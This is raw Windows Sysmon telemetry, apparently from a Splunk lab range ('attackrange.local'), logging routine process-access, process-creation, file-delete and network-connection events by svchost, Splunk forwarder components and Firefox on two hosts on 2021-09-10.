15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017819Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017818Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017817Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017816Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017815Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017814Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7479-613B-3205-00000000F101}92C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017813Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.887{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7479-613B-3205-00000000F101}92C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017812Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.888{625C326B-7479-613B-3205-00000000F101}92C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017811Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:33.621{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6133321DFD2740A06B8AAD701FF2F28,SHA256=5C0700B8265B18682F2873D7D12593F52529BB6A2BDA0A7C55C800F1B41D0D00,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:33.448{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FEB688E5E2607B386DFF70F244E6BCFC,SHA256=62FCC37B8F194E394C7C4480926DAAA5461D42E7435C131756EAE7586E709A73,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017810Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:30.486{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50382-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000055677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:34.449{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F4901DDED69FEFCEB1945035442DA790,SHA256=4267195200F32FD8761EDC28F8564FC46B77DC7A532855A8B8213377F9A082B0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017827Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:34.903{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=976617992C9569229E46618732EF86E8,SHA256=C69555650772CA522C3FE035B68A8E2420A2B2D4744D1B0B84FEF29AC579C710,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017826Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:34.637{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0EE036247DA3BCEE471FC94D5BE02A47,SHA256=D6A797A1CA6297E941119EEC9F3BD07213527B2B5F85275860C27700C911C5F9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017825Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:34.090{625C326B-7479-613B-3205-00000000F101}922276C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017856Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.844{625C326B-747B-613B-3405-00000000F101}2328868C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000017855Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.715{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=716327330DD06100B2FDC06F411CBEAE,SHA256=AF4671172FD1C309DC9DC8FA487B5CC32BABD05E8F066D0B573E1D971BC9483A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.899{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=D01157A6C5D365C81BAB563706E81E04,SHA256=5B684B578D8E11B5919DDB749017B4A9B18E068DA02900B54B8B99C6E33F59B0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.899{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=8FCC2171C793123E9119064145EB6523,SHA256=AA00B6ABAD8914B27330D7C7DE8C7498233E72C57FE8C708C58B4E4EDCCCC7FE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.898{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=DDB466AC5E01784FD64C06ADC426E974,SHA256=AC153DDAD9B5766A148C2CD9823BA2BBADB4C9C51CB654C2181905492F392CCC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.897{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=138B5B673CCC5AA11AF0D19951073E6F,SHA256=A6B227E8F9845C4A9CFC01F51235AF34584D57B52FAD508BC8387D9D702DC298,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.896{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=FC46E9A86277142533B8DB892737A280,SHA256=0C99CEADB94471ADD34E2594DFB7B7C2736E53D3F483E67A43DE64ED8C819907,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:35.497{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D548A204FB1E65DD9380556BBBA24974,SHA256=BEBB81179E681C78179748F4997BB54D5DBDE447735EC5E05E2ED333E23506D5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017854Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-747B-613B-3405-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017853Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017852Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017851Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017850Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017849Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017848Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017847Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017846Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017845Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 